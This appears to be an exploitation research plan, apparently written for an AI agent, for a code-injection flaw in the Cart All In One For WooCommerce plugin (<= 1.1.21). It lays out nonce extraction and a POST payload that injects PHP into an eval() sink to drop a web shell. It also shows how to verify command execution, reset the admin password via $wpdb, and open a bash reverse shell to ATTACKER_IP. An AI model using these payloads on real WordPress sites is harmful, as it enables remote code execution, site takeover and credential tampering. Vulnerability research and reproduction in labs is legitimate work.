Cart All In One For WooCommerce <= 1.1.21 - Authenticated (Administrator+) Code Injection via 'sc_assign_page' Setting

This research plan outlines the process for investigating and exploiting CVE-2026-2019, a Code Injection vulnerability in the Cart All In One For WooCommerce plugin.

---

1. Vulnerability Summary

The Cart All In One For WooCommerce plugin (up to version 1.1.21) contains a setting labeled 'Assign page' (internally likely mapped to sc_assign_page). This field is intended to allow administrators to define custom PHP conditions (e.g., is_cart() || is_checkout()) to control where the cart elements appear. However, the plugin fails to sanitize this input and passes it directly into a PHP eval() function during frontend rendering. An authenticated administrator can inject arbitrary PHP code, leading to Full Site Takeover (RCE).

2. Attack Vector Analysis

• Endpoint: WordPress Admin Dashboard (Settings Page) and any Frontend page.
• Vulnerable Setting: sc_assign_page within the plugin's "Sticky Cart" configuration.
• Payload Parameter: Likely a POST request to admin-post.php or admin-ajax.php containing the vi_wcaio_settings[sc_assign_page] (inferred) parameter.
• Authentication: Required (Administrator or Super Admin).
• Preconditions: The plugin must be active, and the "Sticky Cart" feature must be enabled.

3. Code Flow (Inferred)

1. Storage:
   • Admin navigates to wp-admin/admin.php?page=woo-cart-all-in-one-settings.
   • Admin enters PHP code into the "Assign page" textarea.
   • The vi_wcaio_save_settings (inferred) action triggers, saving the input into the vi_wcaio_settings option via update_option().
2. Execution (Sink):
   • A visitor (or the admin) browses the frontend.
   • The plugin's frontend class (likely in frontend/frontend.php or includes/frontend/sidebar.php) calls a function to check visibility.
   • The code retrieves the option: $settings = get_option('vi_wcaio_settings');.
   • The value of $settings['sc_assign_page'] is passed to eval():

     if (eval('return ' . $settings['sc_assign_page'] . ';')) {
         // Display the cart
     }
     

4. Nonce Acquisition Strategy

Since this is an Administrator+ exploit, we must obtain the administrative nonce to save the settings.

1. Login: Use the http_request tool to log in as an administrator.
2. Navigate to Settings: Use browser_navigate to go to the plugin settings page: /wp-admin/admin.php?page=woo-cart-all-in-one-settings.
3. Extract Nonce: Use browser_eval to extract the nonce from the settings form.
   • Candidate JS Variables: Check for vi_wcaio_admin_settings or similar localized objects.
   • DOM Extraction:

     // Use browser_eval
     document.querySelector('input[name="_wpnonce"]')?.value || 
     document.querySelector('input[name="vi_wcaio_settings_nonce"]')?.value;
     

4. Confirm Field Name: Inspect the "Assign page" textarea to confirm its name attribute (expected: vi_wcaio_settings[sc_assign_page]).

5. Exploitation Strategy

Step 1: Data Injection

Submit a POST request to save the malicious PHP payload.

• URL: https://TARGET/wp-admin/admin.php?page=woo-cart-all-in-one-settings (or the relevant admin-post.php handler).
• Payload: true; file_put_contents(ABSPATH . "wp-content/uploads/rce.php", "<?php system(\$_GET['cmd']); ?>");
• Request Configuration:
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:

    _wpnonce=[NONCE]&vi_wcaio_settings[sc_enable]=on&vi_wcaio_settings[sc_assign_page]=true; file_put_contents(ABSPATH . "wp-content/uploads/rce.php", "<?php system(\$_GET['cmd']); ?>");&save_settings=Save
    

Step 2: Triggering Execution

Visit the homepage of the WordPress site. The plugin will evaluate the sc_assign_page condition to determine if the cart should be shown.

• URL: https://TARGET/
• Action: Simply performing a GET request will trigger the eval() sink.

Step 3: Verifying RCE

Check for the presence of the dropped web shell.

• URL: https://TARGET/wp-content/uploads/rce.php?cmd=id
• Expected Response: Output of the id command (e.g., uid=33(www-data)...).

6. Test Data Setup

1. Install Plugin: wp plugin install woo-cart-all-in-one --version=1.1.21 --activate.
2. Install WooCommerce: (Required dependency) wp plugin install woocommerce --activate.
3. Configure Admin: Ensure an admin user exists and obtain credentials.

7. Expected Results

• The settings update request returns a 302 Redirect back to the settings page with a "Settings Saved" message.
• A visit to the frontend triggers the eval() block.
• A file named rce.php is created in wp-content/uploads/.
• Navigating to rce.php allows arbitrary command execution.

8. Verification Steps (Post-Exploit)

• File Check: wp eval "echo file_exists(ABSPATH . 'wp-content/uploads/rce.php') ? 'Created' : 'Failed';"
• Option Check: wp option get vi_wcaio_settings to verify the payload is stored in the database.

9. Alternative Approaches

• Direct Execution: Instead of dropping a file, use a payload that modifies the database directly:
  true; global $wpdb; $wpdb->update($wpdb->users, ['user_pass' => wp_hash_password('newpassword')], ['user_login' => 'admin']);
• Reverse Shell: If outbound connections are allowed:
  true; exec("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1");
• Blind RCE Verification: If file creation is blocked, use sleep(10) as the payload and measure response time on the frontend.